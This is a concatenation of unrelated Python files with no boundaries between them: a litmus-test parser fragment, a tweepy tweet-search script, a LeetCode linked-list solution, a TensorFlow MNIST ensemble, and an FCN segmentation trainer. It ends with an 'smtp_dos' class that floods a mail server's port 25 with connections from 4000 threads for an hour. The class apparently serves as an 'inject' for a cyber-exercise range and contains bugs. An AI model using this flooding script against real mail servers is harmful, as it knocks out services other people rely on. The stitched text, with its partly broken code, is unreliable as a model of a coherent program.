    elif "xor" == s[0]:
        if "".join(s[1]) in registers.keys():
            reg = registers["".join(s[1])]
        else:
            reg = Register("".join(s[1]))
            registers["".join(s[1])] = reg
        if "".join(s[3]) in registers.keys():
            reg2 = registers["".join(s[3])]
        else:
            reg2 = Register("".join(s[3]))
            registers["".join(s[3])] = reg2
        if "".join(s[5]) in registers.keys():
            reg3 = registers["".join(s[5])]
        else:
            reg3 = Register("".join(s[5]))
            registers["".join(s[5])] = reg3
        return (Local(reg, Expression(reg2,'xor',reg3)), locations, registers)
    elif "MFENCE" == s[0]:
        return (Mfence(), locations, registers)
    elif "sync" == s[0]:
        return (Sync(), locations, registers)
    elif "lwsync" == s[0]:
        return (Lwsync(), locations, registers)
    elif "isync" == s[0]:
        return (Isync(), locations, registers)
    elif "cmpw" == s[0]:
        if "".join(s[1]) in registers.keys():
            reg1 = registers["".join(s[1])]
        else:
            reg1 = Register("".join(s[1]))
            registers["".join(s[1])] = reg1
        if "".join(s[3]) in registers.keys():
            reg2 = registers["".join(s[3])]
        else:
            reg2 = Register("".join(s[3]))
            registers["".join(s[3])] = reg2
        return (Predicate(reg1,'==',reg2), locations, registers)
    else: raise Exception("Parsing problem! with %s" %s[0])

def list2Seq(l, initT, locations, registers):
    if len(l) == 1:
        return string2Event(l[0], initT, locations, registers)
    elif l[0][0] == "cmpw":
        (pred, locations, registers) = string2Event(l[0], initT, locations, registers)
        (t1, locations, registers) = list2Seq(l[3:], initT, locations, registers)
        return (If(pred, t1, Skip()), locations, registers)
    else:
        (t1, locations, registers) = string2Event(l[0], initT, locations, registers)
        (t2, locations, registers) = list2Seq(l[1:], initT, locations, registers)
        return (Seq(t1, t2), locations, registers)

def parseLitmus(filename):
    """ Parses a litmus test in HERD's format and loaded in memory as a Program. """
    f = open(filename,'r')
    text = "".join(f.readlines())
    parsed = Prog.parseString(text)

    nextL = parsed[1]
    init = {}
    count = 0

    for x in nextL:
        if x != "{" and x != "}":
            if not ':' == x[1]: continue
            if "P0" in x[0]: count = 0
            elif "P1" in x[0]: count = 1
            elif "P2" in x[0]: count = 2
            elif "P3" in x[0]: count = 3
            elif "P4" in x[0]: count = 4
            else: count = int(x[0])
            if not count in init.keys(): init[count] = {}
            reg = "".join(x[2])
            init[count][reg] = x[4]
    threads = {}

    numProcs = parsed[2]
    for x in range(len([p for p in numProcs if len(p) > 1])):
        threads[x] = []

    threadCount = 0
    for x in parsed[3]:
        if x == "|": threadCount += 1
        elif x == ";": threadCount = 0
        else: threads[threadCount].append(x)

    prog = Program(filename)
    locations = {}
    for t in threads.keys():
        if t not in init.keys(): init[t]={}
        (thread, locations, registers) = list2Seq(threads[t], init[t], locations, {})
        for x in init[t].keys():
            if x not in init[t].keys(): init[t][x]=0
            if "t" not in init[t][x] and "x" not in init[t][x] and "y" not in init[t][x] and "z" not in init[t][x] and "a" not in init[t][x] and "b" not in init[t][x] and "c" not in init[t][x]:
                if x in registers.keys():
                    reg = registers[x]
                else:
                    reg = Register(x)
                    registers[x] = reg
                thread = Seq(Local(reg, Expression(int(init[t][x]))), thread)
        prog.add(thread)
    prog.initialize("sc")
    return prog


import tweepy
from tweepy.auth import OAuthHandler
from unidecode import unidecode

consumer_key = ""
consumer_secret = ""

access_token = ""
access_token_secret = ""

auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
auth.set_access_token(access_token, access_token_secret)

api = tweepy.API(auth)

filename = ""

fmt = '%Y-%m-%d %H:%M:%S'

# BOUCLE ICI ???
list_id = list()
list_tweets = list()
list_times = list()
list_screen_name = list()
for j in range(0,4) :
    print ("###### REQUETE N° ", j)

    if len(list_id) != 0 :
        res =  api.search("",lang = "",count = 300, result_type = "recent", max_id = min(list_id))
    else : # Sinon
        res = api.search("",lang = "",count = 300, result_type = "recent")

    # On stocke les tweets et on les printe
    for i in range(len(res)):

        print(i, res[i].text)
        list_tweets.append(res[i].text)
        list_id.append(res[i].id)
        list_times.append(res[i].created_at.strftime(fmt))
        list_screen_name.append(res[i].user.screen_name)


#
# @lc app=leetcode id=92 lang=python3
#
# [92] Reverse Linked List II
#
# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, x):
#         self.val = x
#         self.next = None

class Solution:
    # solution 2:
    def reverseBetween(self, head: ListNode, m: int, n: int) -> ListNode:
        if m>= n or not head:
            return head

        def reverseN(head, n):
            if n ==1:
                self.successor =head.next
                return head

            last = reverseN(head.next, n-1)
            head.next.next = head
            head.next = self.successor

            return last

        if m==1:
            self.successor = None
            return reverseN(head, n)

        head.next = self.reverseBetween(head.next, m-1,n-1)

        return head

    '''
    创建head.
    找到m的前一个节点-Pre
    记录Pre的下一个节点，它会是翻转链的尾部。
    翻转指定区间的链表，翻到最后一个节点时，把reverseTail.next指向它的next。这样就把翻转链表与之后
    的链表接起来了。
    返回dummynode的下一个节点。
    '''
    # Your runtime beats 85.79 % of python3 submissions
    def reverseBetween01(self, head: ListNode, m: int, n: int) -> ListNode:
        if m>= n or not head:
            return head

        dummy = ListNode(0)
        dummy.next = head
        node = dummy

        for i in range(1,m):
            if not node:
                return None
            node = node.next

        premNode, mNode = node, node.next
        nNode, postNnode = mNode, mNode.next
        i = m
        while(i<n):
            if postNnode == None:
                return None
            next = postNnode.next
            postNnode.next = nNode
            nNode = postNnode
            postNnode = next
            i+=1

        premNode.next = nNode
        mNode.next = postNnode
        return dummy.next


from tensorflow.examples.tutorials.mnist import input_data
import tensorflow as tf
import matplotlib.pyplot as plt
import random
import sys
from Model import Model
import numpy as np

mnist = input_data.read_data_sets("MNIST_data/", one_hot=True)

## set parameters
nb_classes = 10
n_layers = 5
f_size_arr = [3,3,3,3,3]  # filter_size * n_layers
f_num_arr = [32, 64, 128, 256, 512] # filter_number * n_layers
cs_size_arr = [1,1,1,1,1] # convolution_stride_size * n_layers
pk_size_arr = [2,2,2,2,2] # pooling_ksize * n_layers
ps_size_arr = [2,2,2,2,2] # pooling_stride_size * n_layers

## X, inputs, Y, keep_prob
X = tf.placeholder(tf.float32, [None, 784])
X_img = tf.reshape(X, [-1, 28, 28, 1])
Y = tf.placeholder(tf.float32, [None, nb_classes])
keep_prob = tf.placeholder(tf.float32)

training_epochs = 30
batch_size = 100
learning_rate = 0.001
keep_p = 0.7

## sess
sess = tf.Session()

## make models
models = []
num_models = 8

for m in range(num_models):
    md = Model(sess, "M"+str(m), X, X_img, Y, keep_prob)
    md.build_net(n_layers, f_size_arr, f_num_arr, cs_size_arr, pk_size_arr, ps_size_arr, lr=learning_rate)
    models.append(md)

sess.run(tf.global_variables_initializer())

for epoch in range(training_epochs):
    avg_cost_list = np.zeros(len(models))
    total_batch = int(mnist.train.num_examples/batch_size)

    for i in range(total_batch):
        batch_xs, batch_ys = mnist.train.next_batch(batch_size)
        for i, m in enumerate(models):
            c, _ = m.train(batch_xs, batch_ys, keep_p)
            avg_cost_list[i] += c / total_batch

    print ('Epoch: ', '%04d' %(epoch+1), 'cost =', avg_cost_list)

print ('Training Finished')

## Prediction & Accuracy
test_size = len(mnist.test.labels)
predictions = np.zeros(test_size*10).reshape(test_size, 10)

for i, m in enumerate(models):
    print('Accuracy', i, ': ', m.get_accuracy(mnist.test.images, mnist.test.labels, 1.0))
    p = m.prediction(mnist.test.images)
    predictions += p

ensemble_correct_prediction = tf.equal(tf.argmax(predictions, 1), tf.argmax(mnist.test.labels, 1))
ensemble_accuracy = tf.reduce_mean(tf.cast(ensemble_correct_prediction, tf.float32))
print ('Ensemble accuracy:', sess.run(ensemble_accuracy))


from __future__ import print_function
from six.moves import xrange
import BatchDatsetReader as dataset
import datetime
import read_MITSceneParsingData as scene_parsing
import TensorflowUtils as utils
import tensorflow as tf
import numpy as np

import os
import sys
os.chdir(os.path.dirname(__file__))
print(os.getcwd())

batch_size = 2                             # batch 大小
logs_dir = "logs/"
data_dir = "Data_zoo/MIT_SceneParsing/"   # 存放数据集的路径，需要提前下载
data_name = "ADEChallengeData2016"
learning_rate = 1e-4                                           # 学习率
# VGG网络参数文件，需要提前下载
model_path = "C:\nuts_sync\code_Space\learn_kaikeba\CCV4-adv\model\imagenet-vgg-verydeep-19.mat"
debug = False
mode = 'train'                             # 训练模式train | visualize

MODEL_URL = 'http://www.vlfeat.org/matconvnet/models/beta16/imagenet-vgg-verydeep-19.mat'  # 训练好的VGGNet参数

MAX_ITERATION = int(1e5 + 1)   # 最大迭代次数
NUM_OF_CLASSESS = 151          # 类的个数
IMAGE_SIZE = 224               # 图像尺寸

# 根据载入的权重建立原始的 VGGNet 的网络
# 所谓的VGG16就是指卷积层有16层

def vgg_net(weights, image):
    layers = (
        'conv1_1', 'relu1_1', 'conv1_2', 'relu1_2', 'pool1',
        'conv2_1', 'relu2_1', 'conv2_2', 'relu2_2', 'pool2',
        'conv3_1', 'relu3_1', 'conv3_2', 'relu3_2', 'conv3_3', 'relu3_3', 'conv3_4', 'relu3_4', 'pool3',
        'conv4_1', 'relu4_1', 'conv4_2', 'relu4_2', 'conv4_3', 'relu4_3', 'conv4_4', 'relu4_4', 'pool4',
        'conv5_1', 'relu5_1', 'conv5_2', 'relu5_2', 'conv5_3', 'relu5_3', 'conv5_4', 'relu5_4'
    )

    net = {}
    current = image
    for i, name in enumerate(layers):
        kind = name[:4]
        if kind == 'conv':
            kernels, bias = weights[i][0][0][0][0]
            # matconvnet: weights are [width, height, in_channels, out_channels]
            # tensorflow: weights are [height, width, in_channels, out_channels]
            kernels = utils.get_variable(np.transpose(
                kernels, (1, 0, 2, 3)), name=name + "_w")
            bias = utils.get_variable(bias.reshape(-1), name=name + "_b")
            current = utils.conv2d_basic(current, kernels, bias)
            print("当前形状：", np.shape(current))
        elif kind == 'relu':
            current = tf.nn.relu(current, name=name)
            if debug:
                utils.add_activation_summary(current)
        elif kind == 'pool':
            current = utils.avg_pool_2x2(current)
            print("当前形状：", np.shape(current))
        net[name] = current

    return net

# FCN的网络结构定义，网络中用到的参数是迁移VGG训练好的参数
def inference(image, keep_prob):
    """
    Semantic segmentation network definition
    :param image: input image. Should have values in range 0-255
    :param keep_prob:
    :return:
    """
    # 加载模型数据
    print("原始图像：", np.shape(image))
    model_data = utils.get_model_data(model_path)

    mean = model_data['normalization'][0][0][0]
    mean_pixel = np.mean(mean, axis=(0, 1))

    weights = np.squeeze(model_data['layers'])

    # 图像预处理
    processed_image = utils.process_image(image, mean_pixel)
    print("预处理后的图像:", np.shape(processed_image))

    with tf.variable_scope("inference"):
        # 建立原始的VGGNet-19网络
        print("开始建立VGG网络：")
        image_net = vgg_net(weights, processed_image)

        # 在VGGNet-19之后添加 一个池化层和三个卷积层
        conv_final_layer = image_net["conv5_3"]
        print("VGG处理后的图像：", np.shape(conv_final_layer))

        pool5 = utils.max_pool_2x2(conv_final_layer)

        print("pool5：", np.shape(pool5))

        W6 = utils.weight_variable([7, 7, 512, 4096], name="W6")
        b6 = utils.bias_variable([4096], name="b6")
        conv6 = utils.conv2d_basic(pool5, W6, b6)
        relu6 = tf.nn.relu(conv6, name="relu6")
        if debug:
            utils.add_activation_summary(relu6)
        relu_dropout6 = tf.nn.dropout(relu6, keep_prob=keep_prob)

        print("conv6:", np.shape(relu_dropout6))

        W7 = utils.weight_variable([1, 1, 4096, 4096], name="W7")
        b7 = utils.bias_variable([4096], name="b7")
        conv7 = utils.conv2d_basic(relu_dropout6, W7, b7)
        relu7 = tf.nn.relu(conv7, name="relu7")
        if debug:
            utils.add_activation_summary(relu7)
        relu_dropout7 = tf.nn.dropout(relu7, keep_prob=keep_prob)

        print("conv7:", np.shape(relu_dropout7))

        W8 = utils.weight_variable([1, 1, 4096, NUM_OF_CLASSESS], name="W8")
        b8 = utils.bias_variable([NUM_OF_CLASSESS], name="b8")
        conv8 = utils.conv2d_basic(relu_dropout7, W8, b8)

        print("conv8:", np.shape(conv8))
        # annotation_pred1 = tf.argmax(conv8, dimension=3, name="prediction1")

        # 对卷积后的结果进行反卷积操作
        deconv_shape1 = image_net["pool4"].get_shape()
        W_t1 = utils.weight_variable(
            [4, 4, deconv_shape1[3].value, NUM_OF_CLASSESS], name="W_t1")
        b_t1 = utils.bias_variable([deconv_shape1[3].value], name="b_t1")
        conv_t1 = utils.conv2d_transpose_strided(
            conv8, W_t1, b_t1, output_shape=tf.shape(image_net["pool4"]))
        fuse_1 = tf.add(conv_t1, image_net["pool4"], name="fuse_1")

        print("pool4 and de_conv8 ==> fuse1:",
              np.shape(fuse_1))  # (14, 14, 512)

        deconv_shape2 = image_net["pool3"].get_shape()
        W_t2 = utils.weight_variable(
            [4, 4, deconv_shape2[3].value, deconv_shape1[3].value], name="W_t2")
        b_t2 = utils.bias_variable([deconv_shape2[3].value], name="b_t2")
        conv_t2 = utils.conv2d_transpose_strided(
            fuse_1, W_t2, b_t2, output_shape=tf.shape(image_net["pool3"]))
        fuse_2 = tf.add(conv_t2, image_net["pool3"], name="fuse_2")

        print("pool3 and deconv_fuse1 ==> fuse2:",
              np.shape(fuse_2))  # (28, 28, 256)

        shape = tf.shape(image)
        deconv_shape3 = tf.stack(
            [shape[0], shape[1], shape[2], NUM_OF_CLASSESS])
        W_t3 = utils.weight_variable(
            [16, 16, NUM_OF_CLASSESS, deconv_shape2[3].value], name="W_t3")
        b_t3 = utils.bias_variable([NUM_OF_CLASSESS], name="b_t3")
        conv_t3 = utils.conv2d_transpose_strided(
            fuse_2, W_t3, b_t3, output_shape=deconv_shape3, stride=8)

        print("conv_t3:", [np.shape(image)[1], np.shape(
            image)[2], NUM_OF_CLASSESS])  # (224,224,151)

        annotation_pred = tf.argmax(
            conv_t3, dimension=3, name="prediction")  # (224,224,1)

    return tf.expand_dims(annotation_pred, dim=3), conv_t3

# 返回优化器
def train(loss_val, var_list):
    optimizer = tf.train.AdamOptimizer(learning_rate)
    grads = optimizer.compute_gradients(loss_val, var_list=var_list)
    if debug:
        # print(len(var_list))
        for grad, var in grads:
            utils.add_gradient_summary(grad, var)
    return optimizer.apply_gradients(grads)

# 主函数,返回优化器的操作步骤

def main(argv=None):

    keep_probability = tf.placeholder(tf.float32, name="keep_probabilty")
    image = tf.placeholder(
        tf.float32, shape=[None, IMAGE_SIZE, IMAGE_SIZE, 3], name="input_image")
    annotation = tf.placeholder(
        tf.int32, shape=[None, IMAGE_SIZE, IMAGE_SIZE, 1], name="annotation")

    print("setting up vgg initialized conv layers ...")

    # 定义好FCN的网络模型
    pred_annotation, logits = inference(image, keep_probability)

    # 定义损失函数，这里使用交叉熵的平均值作为损失函数
    # loss = tf.reduce_mean((tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits,
    #                                                                       labels=tf.squeeze(annotation, squeeze_dims=[3]),
    #                                                                      name="entropy")))
    loss = tf.nn.weighted_cross_entropy_with_logits(labels=tf.squeeze(
        annotation, squeeze_dims=[3]), logits=logits, pos_weight=0.1)
    # 定义优化器
    trainable_var = tf.trainable_variables()

    if debug:
        for var in trainable_var:
            utils.add_to_regularization_and_summary(var)
    train_op = train(loss, trainable_var)

    # 加载数据集
    print("Setting up image reader...")

    train_records, valid_records = scene_parsing.read_dataset(
        data_dir, data_name)

    print("训练集的大小:", len(train_records))
    print("验证集的大小:", len(valid_records))

    print("Setting up dataset reader")

    image_options = {'resize': True, 'resize_size': IMAGE_SIZE}
    if mode == 'train':
        train_dataset_reader = dataset.BatchDatset(
            train_records, image_options)
    validation_dataset_reader = dataset.BatchDatset(
        valid_records, image_options)

    # 开始训练模型
    sess = tf.Session()
    print("Setting up Saver...")
    saver = tf.train.Saver()

    sess.run(tf.global_variables_initializer())
    ckpt = tf.train.get_checkpoint_state(logs_dir)
    if ckpt and ckpt.model_checkpoint_path:
        saver.restore(sess, ckpt.model_checkpoint_path)
        print("Model restored...")

    if mode == "train":
        for itr in xrange(MAX_ITERATION):
            train_images, train_annotations = train_dataset_reader.next_batch(
                batch_size)
            print(np.shape(train_images), np.shape(train_annotations))
            feed_dict = {image: train_images,
                         annotation: train_annotations, keep_probability: 0.85}

            sess.run(train_op, feed_dict=feed_dict)
            print("step:", itr)

            if itr % 10 == 0:
                train_loss = sess.run(loss, feed_dict=feed_dict)
                print("Step: %d, Train_loss:%g" % (itr, train_loss))

            if itr % 500 == 0:
                valid_images, valid_annotations = validation_dataset_reader.next_batch(
                    batch_size)
                valid_loss = sess.run(loss, feed_dict={image: valid_images, annotation: valid_annotations,
                                                       keep_probability: 1.0})
                print("%s ---> Validation_loss: %g" %
                      (datetime.datetime.now(), valid_loss))

                saver.save(sess, logs_dir + "model.ckpt", itr)

    elif mode == "visualize":
        valid_images, valid_annotations = validation_dataset_reader.get_random_batch(
            batch_size)
        pred = sess.run(pred_annotation, feed_dict={image: valid_images, annotation: valid_annotations,
                                                    keep_probability: 1.0})
        valid_annotations = np.squeeze(valid_annotations, axis=3)
        pred = np.squeeze(pred, axis=3)

        for itr in range(batch_size):
            utils.save_image(valid_images[itr].astype(
                np.uint8), logs_dir, name="inp_" + str(5+itr))
            utils.save_image(valid_annotations[itr].astype(
                np.uint8), logs_dir, name="gt_" + str(5+itr))
            utils.save_image(pred[itr].astype(np.uint8),
                             logs_dir, name="pred_" + str(5+itr))
            print("Saved image: %d" % itr)

def focal_loss(pred, y, alpha=0.25, gamma=2):
    r"""Compute focal loss for predictions.
        Multi-labels Focal loss formula:
            FL = -alpha * (z-p)^gamma * log(p) -(1-alpha) * p^gamma * log(1-p)
                    ,which alpha = 0.25, gamma = 2, p = sigmoid(x), z = target_tensor.
    Args:
        pred: A float tensor of shape [batch_size, num_anchors,
        num_classes] representing the predicted logits for each class
        y: A float tensor of shape [batch_size, num_anchors,
        num_classes] representing one-hot encoded classification targets
        alpha: A scalar tensor for focal loss alpha hyper-parameter
        gamma: A scalar tensor for focal loss gamma hyper-parameter
    Returns:
        loss: A (scalar) tensor representing the value of the loss function
    """
    zeros = tf.zeros_like(pred, dtype=pred.dtype)

    # For positive prediction, only need consider front part loss, back part is 0;
    # target_tensor > zeros <=> z=1, so positive coefficient = z - p.
    pos_p_sub = tf.where(y > zeros, y - pred, zeros) # positive sample 寻找正样本，并进行填充

    # For negative prediction, only need consider back part loss, front part is 0;
    # target_tensor > zeros <=> z=1, so negative coefficient = 0.
    neg_p_sub = tf.where(y > zeros, zeros, pred) # negative sample 寻找负样本，并进行填充
    per_entry_cross_ent = - alpha * (pos_p_sub ** gamma) * tf.log(tf.clip_by_value(pred, 1e-8, 1.0)) \
                            - (1 - alpha) * (neg_p_sub ** gamma) * tf.log(tf.clip_by_value(1.0 - pred, 1e-8, 1.0))

    return tf.reduce_sum(per_entry_cross_ent)

if __name__ == "__main__":
    tf.app.run()


import socket
import time
import random
import threading
import select

class smtp_dos():
    def __init__(self):
        self.variables = {'src_ip':''}
        self.name = "SMTP DOS"
        self.description = "An inject that performs a denial of service attack on SMTP."
        self.mail_domain_name = 'sav-gw.uct.jcor'

    def connect(self):
        s = socket.socket()
        s.bind((self.src_ip,0))
        s.connect((self.mail_domain_name, 25))
        return s

    def dos(self):
        while True:
            s = self.connect()
            if select.select([],[],[s]):
                s = self.connect()
            time.sleep(1)

    def range(self, **kwargs):
        self.src_ip = kwargs['src_ip']
        threads = []
        for i in xrange(4000):
            t = threading.Thread(target=dos)
            t.daemon = True
            t.start()
            threads.append(t)
        # sleep 3600 seconds (1 hour)
        time.sleep(60*60)

    def run(self, **kwargs):
        self.range(**kwargs)